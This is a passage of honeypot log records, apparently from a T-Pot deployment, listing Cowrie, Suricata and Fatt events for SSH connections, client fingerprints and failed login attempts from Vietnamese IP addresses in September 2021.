26117	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.80763+03	2021-09-20 14:15:12.855645+03	{"_id": "kQbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [listd/54e172662] failed", "session": "ace5b5b42c11", "@version": "1", "password": "54e172662", "username": "listd", "timestamp": "2021-09-20T11:11:47.807630Z", "@timestamp": "2021-09-20T11:11:47.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26118	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:47.839396+03	2021-09-20 14:15:12.856646+03	{"_id": "kgbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "0f0ff7b1d7bc", "@version": "1", "duration": 3.7585854530334473, "timestamp": "2021-09-20T11:11:47.839396Z", "@timestamp": "2021-09-20T11:11:47.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26119	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.878009+03	2021-09-20 14:15:12.857647+03	{"_id": "kwbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b09377ee68d2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:47.878009Z", "@timestamp": "2021-09-20T11:11:47.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26120	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.885756+03	2021-09-20 14:15:12.858646+03	{"_id": "lAbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d7979cce0475", "@version": "1", "timestamp": "2021-09-20T11:11:47.885756Z", "@timestamp": "2021-09-20T11:11:47.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26121	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.993305+03	2021-09-20 14:15:12.860647+03	{"_id": "lQbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b09377ee68d2", "@version": "1", "timestamp": "2021-09-20T11:11:47.993305Z", "@timestamp": "2021-09-20T11:11:47.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26122	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:48.220257+03	2021-09-20 14:15:12.861646+03	{"_id": "lgbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [w/w] failed", "session": "ff0641c5db98", "@version": "1", "password": "w", "username": "w", "timestamp": "2021-09-20T11:11:48.220257Z", "@timestamp": "2021-09-20T11:11:48.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26123	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:48.453325+03	2021-09-20 14:15:12.862646+03	{"_id": "lwbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5c71648210c7", "@version": "1", "duration": 2.8040809631347656, "timestamp": "2021-09-20T11:11:48.453325Z", "@timestamp": "2021-09-20T11:11:48.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26124	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:49.111002+03	2021-09-20 14:15:12.863646+03	{"_id": "mQbnAnwBvYTbRNuEqyCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [amanda/amanda] failed", "session": "d7979cce0475", "@version": "1", "password": "amanda", "username": "amanda", "timestamp": "2021-09-20T11:11:49.111002Z", "@timestamp": "2021-09-20T11:11:49.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26125	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:49.186301+03	2021-09-20 14:15:12.864646+03	{"_id": "mwbnAnwBvYTbRNuEqyCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ace5b5b42c11", "@version": "1", "duration": 2.8397960662841797, "timestamp": "2021-09-20T11:11:49.186301Z", "@timestamp": "2021-09-20T11:11:49.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26126	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:49.376287+03	2021-09-20 14:15:12.865646+03	{"_id": "owbnAnwBvYTbRNuEqyCw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ceced7ff072f", "@version": "1", "duration": 2.898773193359375, "timestamp": "2021-09-20T11:11:49.376287Z", "@timestamp": "2021-09-20T11:11:49.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26127	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:49.569353+03	2021-09-20 14:15:12.867646+03	{"_id": "pAbnAnwBvYTbRNuErSDS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1753454430518494, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57354, "dest_port": 22, "timestamp": "2021-09-20T11:11:49.569353Z", "@timestamp": "2021-09-20T11:11:49.569Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26128	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:49.995688+03	2021-09-20 14:15:12.868646+03	{"_id": "pwbnAnwBvYTbRNuEriD3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.30.234.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 61221, "timestamp": "2021-09-20T11:11:49.995688", "@timestamp": "2021-09-20T11:11:49.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26129	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:41.287646+03	2021-09-20 14:15:12.869646+03	{"_id": "4AbnAnwBvYTbRNuEjx-w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58497, "timestamp": "2021-09-20T11:11:41.287646", "@timestamp": "2021-09-20T11:11:41.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26130	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:41.839453+03	2021-09-20 14:15:12.870646+03	{"_id": "4QbnAnwBvYTbRNuEkB9Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43450 (192.168.176.2:22) [session: e35fdf257f1d]", "session": "e35fdf257f1d", "@version": "1", "protocol": "ssh", "src_port": 43450, "dest_port": 22, "timestamp": "2021-09-20T11:11:41.839453Z", "@timestamp": "2021-09-20T11:11:41.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26131	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:41.970553+03	2021-09-20 14:15:12.871645+03	{"_id": "4gbnAnwBvYTbRNuEkB9Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:42682 (192.168.176.2:22) [session: 56711b6e238f]", "session": "56711b6e238f", "@version": "1", "protocol": "ssh", "src_port": 42682, "dest_port": 22, "timestamp": "2021-09-20T11:11:41.970553Z", "@timestamp": "2021-09-20T11:11:41.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26132	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:41.842428+03	2021-09-20 14:15:12.872645+03	{"_id": "7gbnAnwBvYTbRNuEkB9Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e35fdf257f1d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:41.842428Z", "@timestamp": "2021-09-20T11:11:41.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26133	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:41.973308+03	2021-09-20 14:15:12.873646+03	{"_id": "7wbnAnwBvYTbRNuEkB9Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "56711b6e238f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:41.973308Z", "@timestamp": "2021-09-20T11:11:41.973Z", "t-pot_ip_ext": "109.199.241.180", 